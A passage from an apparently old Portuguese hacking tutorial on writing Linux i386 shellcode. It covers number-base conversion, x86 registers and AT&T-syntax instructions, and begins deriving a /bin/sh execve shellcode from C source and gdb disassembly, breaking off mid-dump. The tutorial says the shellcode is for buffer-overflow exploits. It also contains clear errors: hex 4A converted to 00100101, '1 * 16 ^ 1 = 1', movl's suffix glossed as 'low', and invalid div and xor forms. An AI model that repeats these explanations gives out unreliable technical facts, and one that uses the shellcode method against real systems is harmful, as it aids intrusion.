obetido, se o resto for igual a um inteiro perfeito, o binario correspondente eh
zero, senao o binario correspondente eh um:
4/2 = 2 -> O resto eh um inteiro, logo binario correspondente = 0.
2/2 = 1 -> O resto eh um inteiro, logo binario correspondente = 0.
1/2 = 0,5 -> O resto nao eh um inteiro perfeito, lgo binario = 1.
Unindo os resultados num grupo de quatro, teremos:
0010; Onde esse ultimo zero eh acrescentado para completarmos o grupo.
Agora para A que equivale a 10 em decimal.
10/2 = 5 -> O resto eh um inteiro, logo binario correspondente = 0.
5/2 = 2,5 -> O resto nao eh um inteiro, pegamos o 2,5 e arredondamos
para 2, e jah que o resto nao eh um inteiro, entao o
binario correspondente eh igual a 1.
2/2 = 1 -> Resto inteiro, binario = 0.
1/2 = 0.5 -> Aqui nos paramos, numero nao eh inteiro, binario = 1.
Pegando os binarios correspondente, teremos:
0101; Como vimos jah eh um grupo de 4.
Unimos os dois grupos de 4 e obteremos o resultado final:
0010;0101
00100101
Nosso numero hexadecimal 4A em binario eh igual a 00100101.
* De Decimal para Hexadecimal
------------------------------
Isso eh bastante simples.Sabemos que pela notacao, faz-se necessario dessa
forma, substituirmos um numero maior que 9 e menor que 15 pela respectiva letra
correspondente(A ateh F).Levando-se em conta isso, fazemos o seguinte esquema
para conversao de um numero decimal para hexadecimal:
+ Dividimos ele por 16. Pegamos seu resto.
+ Dividimos o quociente da divisao acima e dividimos por 16.Pegamos o resto.
+ O mesmo esquema anterior sucessivamente, ateh que o numero obtido no quociente
da divisao anterior seja menor que 16, aih ele proprio serah considerado como
sendo o resto.
Vejamos um exemplo:
Usaremos o numero 2000 como exemplo.
Dividimos ele por 16 e seus sucessivos quocientes tambem por 16.Ex:
2000 / 16 = 125 (Quociente = 125; Resto = 0);
125 /16 = 7 (Quociente = 7; Resto = 13);
7 / 16 => (Aqui 7 eh menor 16 entao fica sendo resto = 7)
Podemos notar que temos 3 numeros, pegamos os restos obtidos de baixo(ultimo)
para cima(primeiro) e unimos num soh numero, assim:
7 - 13 - 0 => 7 - D - 0 => 7D0
Eis aih o nosso numero 7D0.Lembrando que pela notacao, 13 eh igual a D.
Irei demonstrar outro numero como exemplo, para que nao hajam duvidas: Vejamos o
numero 1980 (Considerada a decada de ouro do hacking mundial).
Comecamos dividindo ele por 16;
1980 / 16 = 123 (Quociente = 123; Resto = 12);
123 / 16 = 7 (Quociente = 7; Resto = 11);
7 / 16 => 7 (Como divisor < 16 entao fica ele como Resto = 7);
Pegando de baixo(ultima divisao) p/ cima(primeira divisao), teremos:
7 - 11 - 12 => 7 - B - C => 7BC.
Bem, aih estah amigo.Veremos agora outro tipo de conversao:
* De Hexadecimal para Decimal:
------------------------------
De Hexadecimal para Decimal eh bem simples.Caso nao tenha entendido os calculos
acima, talvez isto sirva para clarear um pouco.O processo para se obter um
numero Decimal a partir de um Hexadecimal eh exatemente o metodo oposto ao
demostrado acima.Vejamos;
+ Pegamos um numero hexa, dividimos ele em partes ou casas decimais e
multiplicamos ele pelo numero (16 ^ X), onde X representa a casa decimal
ocupada pelo respectivo numero - 1.Em seguida somamos os resultados
obtidos com cada multiplicacao.
Vejamos um exemplo com o numero 7BC citado acima.
Para facilitar, separamos ele em casas;
7 - B - C => 7 - 11 - 12;
Pegamos cada casa e multiplicamos por 16 elevado a casa - 1 (16 ^ X).
7 * 16 ^ 2 = 1792
11 * 16 ^ 1 = 176
12 * 16 ^ 0 = 12 Somando os respectivos resultados,teremos:
-----
1980
Como visto, nao eh nem um pouco complicado, mas demonstrarei outro
exemplo usando o numero hexadecimal 5F1.
Dividindo ele em partes, teremos:
5 - F - 1 => 5 - 15 - 1
Pegando cada casa e multiplicando por 16 elevado a casa - 1 (da direita
para a esquerda).Teremos:
5 * 16 ^ 2 = 1280
15 * 16 ^ 1 = 240
1 * 16 ^ 1 = 1
Somando os resultados obtidos, teremos:
1280 + 240 + 1 = 1521.
Eh isso aih amigo, nao vou ensinar operacoes envolvendo numeros desses sistemas
numericos, nao creio que usarei aqui neste tutorial, mas eh bom saber disso
tudo, veja outros txts, isso eh importante no mundo da programacao de baixo
nivel, nao use programas que jah dao o resultado instantaneo, sem saber o
processo mano!!Essas calculadoras tem servido muito para alienar o pessoal,
fazendo com que mais pessoas fiquem dependentes das maquinas, para efetuarem os
calculos.Eu sei que o pessoal que meche com baixo nivel, eh porque gosta de
programar, nada contra quem usa alto nivel, mas com alto nivel as coisas sao
muito limitadas, muito mesmo, ainda mais para nossos intuitos.Entao amigo, se
quer ser um fucador de verdade, nao digo para deixar de vez as linguagens de
alto nivel, mas aprenda as de nivel baixo.C pode ser considerada de alto,medio e
baixo, eh uma linguagem fascinante, quem aprende, nao quer largar mais, a mesma
coisa se diz de assembly, soh que assembly eh fogo!!!:)..Analise seu caso,
decida seu rumo,amigo, ve aih o que vai ser mais util para voce no futuro!
------------------
5 - REGISTRADORES |
------------------
Voce deve estar lendo e pensando que irei ensinar voce a programar em asm. Jah
disse, amigo, volto a repetir, este eh um tutorial sobre escrita de shellcodes,
necessita saber o basico de assembly.Descreverei aqui dados relacionado a essa
linguagem que ajudarao a clarear as coisas, mas se quer ir longe, procure bons
textos ou livros sobre isso, disponibilizarei urls no fim desse texto, mas elas
por sih soh ainda nao sao tudo sobre asm. Pesquise, vah fundo, nao desista! Essa
parte irah descrever brevemente o que sao alguns dos registradores em asm, para
que servem e como usa-los.Vamos lah!
Registradores sao uma especie de instrucoes que recebem e guardam variaveis.Eles
sao muito comuns no recebimento de dados p/ enviarmos depois a algum lugar da
memoria(Stack por exemplo).
Veremos abaixo, uma breve explicacao sobre cada um desses registradores:
5.1 Registradores Gerais
-------------------------
+ AX -> Eh um registrador de 16 bits.Pode-se acessar parte dele.Como ele
eh 16 bits, podemos acessar se quisermos apenas 8 bits, para isso
devemos declara ele como sendo AH ou AL.AX eh conhecido como
Acumulador X.Sabemos que X pode ser substituido por L(low) ou
H(high), traduzindo, alto e baixo, respectivamente.Qualquer
mudanca para AL ou AH implicarah numa mudanca de AX.
Esse registrador eh muito usado em operacoes de entrada e saida
de dados.Num sistema i386, que eh o que usaremos, ao inves de
simplesmente AX, usaremos EAX, e como registradores recebem o
simbolo de porcentagem(%), nosso registrador ficarah %EAX.
Tenha em mente por enquanto que ele eh um registrador que
acumula dados.Um exemplo seria ele receber o endereco de uma
determinada instrucao ou string e empurra-la sobre o Stack.
Isso pode ser visto abaixo:
mov 0xfffffff8(%ebp),%eax
push %eax
No exemplo acima %eax recebe o endereco de uma string
0xfffffff8(%ebp) e depois eh empurrado os dados de %eax sobre
o Stack.Lembrando que estamos usando a sintaxe AT&T onde a
fonte(origem) vem primeiro e o destino depois.
Aos poucos a coisa vai clarear mano, paciencia!
+ BX -> Conhecido como registrador BASE.Possui o mesmo esquema de AX, onde
voce pode colocar dados nas partes dele,BH (alta) e BL(baixa).Na
sintaxe AT&T para i386 teriamos ele como sendo %EBX.Ele eh muito
usado como um registrador de offset.Um exemplo do uso dele seria:
movl %esi,%ebx
Onde copiamos o endereco dos dados de %esi para este registrador.
+ CX -> Esse eh conhecido como o registrador contador(count).Tambem como
AX e BX, ele pode ser dividido e manipulado em partes,CH(Counter
high), para manipularmos na parte alta(8 bits para cima) e
CL(Counter low), para manipularmos na parte baixa(8 bits p/ baixo).
O que devemos ter em mente eh o uso disso nas nossas implementacoes.
Geralmente usaremos CX e deixaremos o programa fazer o servico por
nos.NA sintaxe AT&T teremos entao p/ CX o seguinte formato: %ecx.
Esse registrador eh muito usado em situacoes de loop, e contagem
em desvios condicionais.
Um exemplo dele seria:
movl $10, %ecx
+ DX -> Eh o registrador de dados.Assim como os acima, ele eh usado para
salvar dados(receber).Ele tambem pode ser divido em partes,
DH(Data High), para manipularmos na parte alta, e DL(Data Low),
como voce jah deve saber, p/ manipularmos na parte baixa da
memoria.Ele eh muito usado em operacoes aritmeticas, como MUL,
DIV e etc.. Um exemplo para ele seria:
leal 0xc(%esi),%edx
Onde %edx acima carregado com o valor de 0xc + o valor de %esi.
5.2 - Registradores de Segmento:
---------------------------------
+ ES -> Segmento Extra(Extra Segment).Ele eh usado como o segmento
destino em operacoes de tranferencia e movimentacao de dados,
como mov.
+ DS -> Segmento de Dados(Data Segment).Representa a area na memoria
onde os dados sao armazenados.Todos os dados lidos pela CPU
sao do segmento apontado para este registrador.Ele eh usado
como segmento(endereco) origem para operacoes com mov,lods.
5.3 - Registradores de Indexacao do Stack:
------------------------------------------
Estes interessam e muito aquele que querem entender o processo preludio ou
inicial de programas C (necessario para se entender os Stack Overflows). De
qualquer forma, sao eles:
+ BP -> Apontador de Base(Base Pointer).Eh usado para acessar o Stack.
+ SP -> Apontador do Stack(Stack Pointer).Ele aponta para a posicao de
memoria atual do Stack.
Esses dois registradores se complementam em processos de envio de codigos
sobre o Stack.Na parte de programacao de shellcodes propriamente dita,
voce verah com mais clareza isto que estou dizendo.
+ SS -> Segmento de Pilha(Stack Segment).Eh usado pela CPU para armazenar
enderecos de retorno de sub-rotinas.Eh o segmento onde reside o
Stack.
5.4 - Outros Registradores Muito Usados
----------------------------------------
Esses registradores que seguem abaixo, sao tambem de grande importancia,
descreverei rapidamente o que representa cada um.
+ CS -> Segmento de Codigo(Code Segment).Refere-se a parte da memoria
(bloco) onde os codigos sao armazenados.Este segmento aponta
para a proxima instrucao,nao pode ser mudado diretamente.
+ SI -> Indice Fonte, ou Indice Origem(Source Index).Muito usado para
movimentacao de blocos de instrucoes, voce verah isso muito
nos nossos shelcodes.Ele aponta para a proxima instrucao.Um
exemplo deste dito cujo segue abaixo:
movl $0x0, 0xc(%esi)
Onde %esi eh um bloco de instrucoes jah pre-definidas.
+ DI -> Indice Destino(Index Destination).Ele pode ser usado como um
registrador de offsets.Muito usado em operacoes com movs e stos.
Bem amigo, esses sao os mais usados e conhecidos, tem ainda outros registradores
como FS, GS, mas que nao descreverei neste tutorial, pois fogem do nosso
objetivo.
-----------------------------
6 - LISTA BASICA DE COMANDOS |
-----------------------------
Nesse capitulo, descreverei de forma breve e rapida, uma lista basica e
necessaria de comandos assembly que nos ajudarao a construir nossos shellcodes.
Lembrando que trabalharemos em cima de um codigo C que serah sempre feito
anteriormente.Os comandos em assembly variam muito. O que eu chamo aqui de
comandos, sao intrucoes em assembly responsaveis por uma determinada acao.Essas
instrucoes sao as responsaveis pela execucao de nosso programa, no caso,
shellcode.E mais uma vez recordando, estaremos trabalhando numa plataforma linux
i386, mas com sintaxe AT&T.
Abaixo segue a lista:
+ 6.1 - Instrucoes de Transferencia
------------------------------------
Sao as responsaveis por tranferir dados contidos em registradores e etc,
para determinadas regioes na memoria ou execucao de alguma outra
instrucao.Sao elas:
* MOV -> Eh a instrucao responsavel pela transferencia de dados na
memoria(movimentacao).Sua sintaxe em AT&T eh bastante simples:
MOV origem,destino
Onde origem pode ser um registrador,uma celula de memoria ou
um operando qualquer.Um exemplo seria:
mov %esp,%ebp
O que isso aih em cima faz eh transferir o conteudo de %esp
(Stack pointer) para %ebp (Base Pointer).Guarde bem esse
exemplo, pois ele serah util para os nossos propositos.
Outros exemplos:
mov $0x7, %eax
mov 0xfffffff8(%ebp),%eax
movl $0x0,0xfffffffc(%ebp)
Nesse ultimo exemplo, vemos movl (mov + l), lembrando que esse
l significa low(baixo).Trata-se de transferencia para parte
baixa do registrador, no caso EBP(%ebp).
Outras possiveis insercoes em mov sao: movs,movsb,movsw.
Nao entrarei em detalhes sobre elas, olhe os links no final
caso necessite.Mas em todo caso, movsb serve para mover 1 byte,
enquanto movsw serve para mover uma word.
* LEA -> Eh uma instrucao parecida com MOV, soh que jah efetua alguns
calculos antes de transferir os dados, esses calculos sao
na maioria dos casos, sao calculos de endereco de memoria,
como ADDs.Vejamos um exemplo:
add $0x8,%eax
mov %eax,%ebx
Agora substituindo por lea, ficaria:
lea 8(%eax),%ebx
Isso faz-se com que o tempo gasto na execucao de um programa
seja cada vez mais rapido, existe um ganho consideravel no
uso desta instrucao, mas em compensacao, requer que os
programadores estejam mais atentos ao codigo para saber o que
de fato estah sendo feito.Um exemplo simples de LEA como
uma simples instrucao de transferencia, seria:
lea $0x8, %eax
Isto equivaleria a instrucao MOV, no caso.
Eu achei por certo descrever brevemente aqui as intrucoes que servem para
transferir dados para o Stack, pois ao meu ver, sao instrucoes de
movimentacao.Vejamos:
* PUSH -> Esta instrucao empurra dados sobre o Stack(pilha).Vai ser
muito usada em nossos exemplos.Vejamos sua sintaxe nesse
exemplo:
push $0x0
No exemplo acima, a instrucao push empurrou o numero
hexadecimal(0) para o stack.Esse numero eh um argumento
de uma funcao em C, que veremos mais tarde.
lea 0xfffffff8(%ebp),%eax
push %eax
Jah nesse exemplo acima, vemos puss empurrar o endereco de
uma funcao propriamente dita.
* POP -> Eh a instrucao contraria a PUSH, como push empurra dados
sobre o Stack, essa instrucao eh usada para retirar dados
do Stack, lembre-se que o esquema no Stack eh LIFO - ultimo
a entrar, primeiro a sair.Sabendo disso, entao a instrucao
POP, irah sempre retirar o ultimo dado inserido no Stack.
Vejamos um exemplo:
mov %eax,%edx
push %edx
call 0x8050b28 <__normal_errno_location>
pop %edx
Esqueca por enquanto a instrucao call, se atenha somente a
push e pop.PUSH empurrou os dados de %edx sobre o Stack, depois
POP foi usada para retirar esses dados do Stack.
Existem bem mais instrucoes de transferencia, mas como dito, isto nao eh um
tutorial sobre programacao em assembly.Se quiser, ou necessitar, procure
internet a fora, vah nos links que divulgo abaixo.
+ 6.2 - Instrucoes Aritmeticas
-------------------------------
Sao as intrucoes usadas para relizacao de calculos(operacoes aritmeticas) nos
operadores. Sao elas:
* ADD -> Faz a adicao de dois operadores.Esta instrucao adiciona
dois operadores e guarda o resultado no operador destino.
Sua sintaxe em AT&T eh a seguinte:
add origem, destino
Onde origem pode ser uma regiao na memoria ou um dado numero
hexa.Vejamos um exemplo:
add 0xc,%eax
* MUL -> Faz a multiplicacao de dois operadores.Sua sintaxe em AT&T eh:
mul $0x4,%ax
Teremos ainda a instrucao IMUL, que tambem serve para
multiplicacao de operando, soh que essa instrucao leva em
consideracao o sinal do operando, enquanto MUL nao considera.
* DIV -> Obviamente, serve para fazer divisao de dois operadores.
div $0x4,%eax
Assim como na instrucao acima para multiplicacao de operandos,
a instrucao DIV tem sua instrucao paralela, responsavel por
divisao de operandos levando em consideracao o sinal, essa
instrucao eh a IDIV.
* SUB -> Aqui vai uma explicacao um pouco mais detalhada.Sub eh usada
para fazer subtracao de operadores, e tambem para alocar
espacos para receber dados no Stack, que nos interessa.
Quando formos criar nosso shellcode, veremos sub resevar espaco
no stack para receber dados que nos impurraremos.Ex:
sub $0x8,%esp
Isto faz com que seja reservado 8 bytes no Stack para receber
dados.
* INC -> Eh o incrementador na linguagem assembly.Assim como nas outras
linguagens, ele incrementa um operando, sendo que aqui, como eh
muita logica, ele jah trabalha em cima dos dados recebidos.
Vejamos um exemplo do uso de inc:
movl %ebx, %eax
inc %eax
Nesse exemplo acima, ele incrementou normalmente, somando 1
ao dado contido em %ebx.Com um pouco de neuronio, isto pode
ser usado da mesma forma para manipular enderecos de
memoria(como incrementar ponteiros em C).
* DEC -> Decrementador.Serve para decrementar um determinado operando.
Faz o contrario da instrucao acima.Da mesma forma, essa intrucao
pode ser usada para se manipular enderecos da memoria.
+ 6.3 - Instrucoes de Comparacao
---------------------------------
Sao instrucoes responsaveis por comparar operandos.Sao elas:
* CMP -> Compara dados em operandos.Exemplo:
cmp $0x8, %eax
Existem outras instrucoes parecidas com CMP, como CMPSB e
CMPSW, a primeira usada para comparar um byte, a segunda
uma word.
* TEST -> Essa instrucao eh usada em comparacoes logicas.
test %edx,%edx
Faz uma checagem num determinado registrador para ver se
estah tudo certo.
+ 6.4 - Instrucoes de Salto
----------------------------
Essas instrucoes sao usadas para alterar a direcao normal de um programa. O
pessoal que jah mecheu com programacao nao-estruturada, acho que nem precisa
perder tempo com isso aqui, vou descrever de forma breve o que sao e representam
essas instrucoes. As instrucoes de salto sao usadas pelo programa para fazer com
que uma determinada rotina execute antes de outra ou mesmo, em rotinas
condicionais, vejamos um esquema:
Se A = B, pula para Z.
senao continua normalmente.
No exemplo de "algoritmo" acima, vemos um salto condicional, se a condicao for
verdadeira, ocorre o salto(Primeira linha),senao, nao ocorre o salto.
Mas existem situacoes, e em nossos exemplos as teremos, em que o salto nao eh
condicional.Quem mecheu com Basic,com a instrucao goto, sabe do que estou
falando.Os saltos incondicionais servem para fazer com que a direcao normal do
programa seja alterada.Essa instrucao, geralmente faz com que o programa fique
indo e voltando, ou pulando para uma determinada execucao depois para outra,
nada estruturado. Uma razao de ter se criado algoritmos de dados estruturados eh
justamente essa, quando se tem saltos condicionais ou nao, o algoritmo fica meio
baguncado, dificultando a leitura e compreensao por parte de outros
programadores que nao fizeram o dito cujo.Mas a realidade eh que, pelo menos
para mim, que mechi com essas linguagens "antigas", instrucoes como goto, bem
como esquemas de saltos, facilitavam e muito as coisas. Agora quando me deparo
com problemas deste tipo, agradeco a Deus por ter mechido com aquilo!!:)..E olha
que falam hoje em dia em banir esquemas de algoritmos nao-estruturados!!!Querem
mesmo alienar o pessoal!!
De qualquer forma, essas instrucoes relacionam ao fluido(direcao) normal da
execucao de um programa.O esquema abaixo irah demonstrar um salto
incondicional.Farei ele em QBASIC..:)..bateu uma saudade agora!!:)
1 CLS
2 COLOR 15
3 PRINT "Seja bem vindo"
4 INPUT "Digite sua senha: ", senha$
5 IF senha$ = "fucador" THEN GOTO 20: ELSE GOTO 10
6 PRINT "Voce estah testando um salto condicional!!"
10 PRINT "Voce nao eh bem vindo aqui"
11 GOTO 4
20 PRINT "seja bem vindo fucador!!"
21 PRINT "Aqui eh a sua casa!!"
Se voce prestar atencao a esse programa, verah os saltos sendo praticados, na
linha 4 recebe-se uma variavel senha$, na linha 5, faz-se uma comparacao usando
if(se), se senha$ eh igual a fucador, pule para a linha 20, esta linha 20 irah
imprimir uma mensagem de boas vindas, mas se a senha$ nao for igual a fucador,
nos vimos na linha 5, ELSE GOTO 10, se nao for pule para 10, pularemos para a
linha 10, aqui na linha 10, nos temos uma mensagem dizendo que fulano nao eh bem
vindo, em seguida na linha 11 temos a execucao do que chamamos de salto
incondicional.Na linha 11, ordenamos um salto para a linha 4, gerando um
looping, caso ele sempre digite a senha errada.Bem, aih estah um exemplo em
QBASIC, o pessoal velha guarda deve ter pulado isso tudo jah, mas para o pessoal
que nao conhece BASIC, e nem usa MS-DOS, windows nao tem QBASIC nele, nem
nenhuma outra linguagem.O MS-DOS trazia QBASIC, um debugador capaz de gerar
arquivos .COM com codigos assembly,e outras coisas, ateh um anti-virus. Mas como
as coisas mudam, deixa pra lah.Para o pessoal que nao tem QBASIC, aih vai um
exemplo desses saltos em C.
/* Programa exemplo de saltos em C */
#include
#include
main(){
char senha[30];
printf("Digite a senha: ");
scanf("%s",&senha);
if(!strcmp(senha,"fucador")) goto BEM_VINDO;
else goto FORA_DAQUI;
BEM_VINDO:
printf("Seja bem vindo fucador!!\n");
goto FUCADOR;
FORA_DAQUI:
printf("Voce nao eh bem vindo!!!\n");
printf("Saia fora daqui!!\n");
return 0;
FUCADOR:
printf("Eis aqui a complementacao do salto incondicional!!\n");
return 0;
}
Analisando bem o programa acima, voce verah o uso de goto para salto
condicional(salta para BEM_VINDO e para FORA_DAQUI), e tambem o uso de goto para
um salto incondicional , que eh a chamada goto dentro de BEM_VINDO, vemos goto
FUCADOR. Caras que manjam muito de algoritmos fogem destas instrucoes e destes
saltos, em C, geralmente se procura colocar tudo em funcoes,mas para nosso
intuito de execucao de shellcodes, faz-se necessario este conhecimento, haja
visto, muitos usarao estes shellcodes em exploits para buffer overflows, se para
automatizar o processo, faz-se necessarios alguns saltos.
Bem amigos, podemos ver na pratica o que sao estes saltos, que faz com que o
programa pule de lah para cah.Veremos agora algumas instrucoes em assembly
responsaveis por fazerem saltos parecidos com os citados acima.Sao elas:
* JMP -> Eh o tal do jump(pula,salta).Eh muito usada em saltos
incondicionais, fazendo o programa ir executar alguma instrucao
diretamente, antes de poder seguir em frente, na sua direcao
normal.Vejamos um exemplo:
jmp 0xd
mov 0x0, %eax
No exemplo acima,vimos jmp ordenar ao programa que salte para a
posicao 0xd, executando a instrucao que deverah estar incluida
nesta posicao, a instrucao mov, abaixo, assim como nos exemplos
que vimos acima, nao serah executada, a nao ser que exista uma
outra chamada de jmp para a posicao de memoria onde se encontra
esta instrucao.
Existem varias instrucoes que equivalem a JMP, mas que servem executam
somente saltos condicionais, eis algumas delas aqui:
* JAE -> Jump if Above or Equal.Ela salta se o parametro for acima
ou igual ao dados.
* JNE -> Jump if Not Equal.Salta se paramentro nao for igual.
* JGE -> Jump if Greater than or Equal.Salta se for maior ou igual a.
* JLE -> Jump if Less or Equal .Salta se for menor ou igual a.
* JE -> Jump if Equal.Salta parametro for igual a.
* JB -> Jump if Below.Salta se abaixo.
* JG -> Jump if Greater than. Salta se for maior que.
* JL -> Jump if Less than. Salta se for menor que.
Cada instrucao desta citada acima possui como parametro uma posicao de
memoria, vemos um exemplo, na linha abaixo:
je 0x8048304
Existem ainda varias outras, mas fogem do objetivo deste tutorial,como dito
varias vezes, pesquise mais sobre assembly internet a fora.
* CALL -> A instrucao call, eh usada para chamar um sub-rotina, ou
mesmo para gerar uma especie de salto para uma instrucao no
programa.Como vamos trabalhar em cima de um codigo C debugado,
veremos essa instrucao constantemente chamar um system call.
Um exemplo de seu uso, seria:
call 0x80
Faz o programa "saltar" para o codigo que se encontra neste
endereco(0x80).Num programa C debugado, podemos ver a instrucao
CALL chamar um system call:
call 0x80483fc
No exemplo acima, call chama o sys_call execve.
Existe ainda outra instrucao que eh considerada como sendode salto,
seria a instrucao LOOP, mas nao a descreverei nesse tutorial.
+ 6.5 Instrucoes Logicas
-------------------------
Sao instrucoes que o proprio nome jah denuncia, logicas!!Elas servem para fazer
operacoes logicas! Conhecemos elas em quase todas as linguagens que se
prezem!Veremos uma comparacao das insrucoes logicas assembly com as do
C.Vejamos:
C Equivalente em ASM
-------- ----------------- --------
& AND
| OR
~ NOT
^ XOR
Nao vou colocar aqui a tabela verdade, olhe em qualquer tutorial de programacao,
pois quando a coisa eh logica, eh logica para todos!!:) Vejamos agora a sintaxe
para cade instrucao logica:
* AND -> Eh o "e" logico.Sua sintaxe segue no exemplo abaixo:
and $0xfff,%eax
* OR -> Eh o "ou" logico.
or $0xfff,%eax
* NOT -> Eh o "nao" logico.Eh usado para inverter os bits de um byte ou
uma word.
not %edx
* XOR -> Conhecido como "OR" exclusivo.XOR funciona da mesma forma que OR,
soh que usado exclusivamente,se apenas uma variavel tiver
resultado esperado.Ele eh muito usado para inverter um determinado
bit de um byte ou um word, sem afetar os outros bits.
xor %edx
Caso tenha duvidas sobre isso, pesquise nos links mano, tem coisas boas lah!
--------------
7 - SHELLCODE |
--------------
Bem, chegamos entao a parte que de fato nos interessa.Escrever shellcodes nao eh
considerado coisa facil.Um conhecimento basico de assembly se faz mais do que
necessario, uma vez que coloquei esses dados aih em cima, isso nao quer dizer de
modo algum que voce estah apto para sair dizendo por aih que manja de
assembly.Meu intuito nao eh e nunca serah de tornar alguem expert nesse
quesito.Se quiser, creio que irah querer ou ateh mesmo irah necessitar, corra
atras de mais informacoes sobre isso. Na parte de links voce poderah encontrar
mais textos que o ajudarao a aprender essa fascinante e dificil linguagem.
Partindo do pre-suposto que voce sabe programar o basico em ASM e C,pois nossos
shellcodes serao para exploits em C, iremos agora dar inicio a esse emocionante
aprendizado.
Como vimos lah em cima o modelo usual de memoria nos possibilita colocar e
armazenar dados numa regiao de memoria conhecida como Stack ou pilha.Uma vez que
podemos colocar dados, usaremos nossos neuronios para atingir nossos objetivos,
a execucao de codigos via instrucoes asm no Stack.Nao entrarei em detalhes sobre
codigo arbitrario pelo buffer, ou mais conhecido como buffer overflow, irei
explicar a escrita basica de shellcodes, mas voce terah que pensar em teus
esquemas,soh recapitulo que antes de um programa ser executado o FRAME
POINTER(EBP) eh salvo,em seguida faz do atual STACK POINTER o novo frame
pointer, isso eh o que costumamos chamar de procedimento inicial ou
preludio,isso servirah mais a frente para intuitos de overflow. Mais abaixo
descreverei possiveis esquemas de uso para isso tudo.
Bem, para comecarmos, iremos trabalhar em cima do shellcode mais conhecido na
atualidade, o codigo de execucao de /bin/sh.Vejamos:
7.1 - SHELLCODE /BIN/SH
------------------------
Este shellcode eh bastante difundido, e voce pode ver em varios txts como ele eh
escrito, mas creio que nao tao de forma detalhada quanto neste, de qualquer
forma, este shellcode eh bastante util, principalmente em situacoes de buffer
overflows.O seu codigo-fonte mais simples em C eh o seguinte:
/* Futuro shellcode /bin/sh */
#include
main(){
char *comando[2];
comando[0]="/bin/sh";
comando[1]=NULL;
execve(comando[0],comando,NULL);
}
Se voce compilar ele normalmente verah que funciona perfeitamente.
[localhost:/]$ gcc -o shell shell.c
[localhost:/]$ ./bin_sh
$exit
exit
Agora iremos partir para analisar seu codigo em gdb.Para isso faz-se
necessario que voce o compile da seguinte forma:
[localhost:/]$gcc -o shell -static -ggdb shell.c
Feito isso amigo, prosseguimos abrindo seu codigo pelo debugador da
gnu(gdb) da seguinte forma:
[localhost:/]$ gdb shell
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnulibc1"...
(gdb)
Em seguida digitamos "disassemble main", para que o gdb nos forneca o
codigo da funcao main em linguagem assembly.Veremos:
(gdb) disassemble main
Dump of assembler code for function main:
0x8048150 : push %ebp
0x8048151 : mov %esp,%ebp
0x8048153 : sub $0x8,%esp
0x8048156 : movl $0x8058b28,0xfffffff8(%ebp)
0x804815d : movl $0x0,0xfffffffc(%ebp)
0x8048164 : push $0x0
0x8048166 : lea 0xfffffff8(%ebp),%eax
0x8048169 : push %eax
0x804816a : mov 0xfffffff8(%ebp),%eax
0x804816d : push %eax
0x804816e : call 0x80483fc
0x8048173 : add $0xc,%esp
0x8048176 : mov %ebp,%esp
0x8048178 : pop %ebp
0x8048179 : ret
End of assembler dump.
(gdb)
Bem amigo, vamos com calma, para quem nao tem conhecido basico de assembly sem
duvida estah voando nas instrucoes acima, mas veremos abaixo,no decorrer, o que
representa cada instrucao desta aih.Se voce eh fera em assembly, vai pulando!
Vamos analisar o que estah sendo feito:
0x8048150 : push %ebp
0x8048151 : mov %esp,%ebp
0x8048153 : sub $0x8,%esp
Essa tres primeiras linhas correspondem ao processo inicial ou procedimento
preludio.O que essas linhas fazem eh aquilo que descrevi no inicio desse
"capitulo" ,o que elas fazem eh: primeiro eh salvar o frame pointer antigo, em
seguida faz do atual stack pointer o novo frame pointer(mov %esp,%ebp), logo
apos autoriza espaco para as variaveis locais, onde no nosso caso eh:
char *comando[2];
Lembrando que ponteiro eh uma word long, entao ele autoriza espaco para duas
words ou 8 bytes como vimos(sub $0x8,%esp).Continuando:
0x8048156 : movl $0x8058b28,0xfffffff8(%ebp)
Essa gigantesta linha aih nao tem nada de complexo como parece,o que estah sendo
feito aih eh a copia do endereco da string "/bin/sh"(valor 0x8058b28) sobre o
primeiro ponteiro de comando[] (0xfffffff8(%ebp)). Isto equivale a: comando[0] =
"/bin/sh". Continuando:
0x804815d : movl $0x0,0xfffffffc(%ebp)
O que foi feito agora eh a copia do valor 0x0, que eh equivalente a NULL,
sobre o segundo ponteiro de comando[].Isto eh equivalente a:
comando[1] = NULL; em nosso codigo shell.c acima.Continuando:
0x8048164 : push $0x0
Bem amigos, aqui tem inicio a chamada da funcao execve(), lembrando,
o programa empurra os argumentos de execve em ordem inversa(do ultimo
argumento para o primeiro) sobre o stack.Acima vimos que comeca com
0x0 (NULL).Em nosso fonte shell.c temos: execve(comando[0],comando,NULL);
Eh a este NULL que estamos nos referindo.Continuando:
0x8048166 : lea 0xfffffff8(%ebp),%eax
Aqui ocorre o carregamento do endereco de comando[] sobre o registrador
EAX.Continuando:
0x8048169 : push %eax
Esse nao possui segredo, o que ocorreu foi que empurramos o endereco
de comando[] que havia sido previamente carregado no registrado EAX
sobre o Stack. Continuando:
0x804816a : mov 0xfffffff8(%ebp),%eax
Aqui, carregamos o endereco da string "/bin/sh" sobre o registrador
EAX.Continuando:
0x804816d : push %eax
Novamente a funcao push(), que nos diz dessa vez que estamos empurrando
os dados do registrado EAX, que nesse caso eh o endereco da string
"/bin/sh", sobre o Stack.Continuando:
0x804816e : call 0x80483fc
Aqui acontece o seguinte, ocorre a chamada a biblioteca de procedimentos
execve(), ou simplesmente a chamada propriamente dita da funcao execve(). A
instrucao chamada empurra o IP(Index Pointer) sobre o Stack. Lembrando que apos
a execucao de execve(), nosso programa termina, entao as linhas abaixo seguem
para voltar as rotinas anteriores:
0x8048173 : add $0xc,%esp
0x8048176 : mov %ebp,%esp
0x8048178 : pop %ebp
0x8048179 : ret
Ocorre aih em cima o seguinte, eh o processo de saida, retorna o velho frame
pointer, faz dele o stual stack pointer em seguida esvazia a pilha com pop. e
ret retorna p/ o sistema.
Agora analisaremos a funcao execve();
(gdb) disassemble execve
Dump of assembler code for function execve:
0x80483fc : push %ebp
0x80483fd : mov %esp,%ebp
0x80483ff : push %ebx
0x8048400 : mov $0xb,%eax
0x8048405 : mov 0x8(%ebp),%ebx
0x8048408 : mov 0xc(%ebp),%ecx
0x804840b : mov 0x10(%ebp),%edx
0x804840e : int $0x80
0x8048410 : mov %eax,%edx
0x8048412 : test %edx,%edx
0x8048414 : jge 0x8048426
0x8048416 : neg %edx
0x8048418 : push %edx
0x8048419 : call 0x8050b28 <__normal_errno_location>
0x804841e : pop %edx
0x804841f : mov %edx,(%eax)
0x8048421 : mov $0xffffffff,%eax
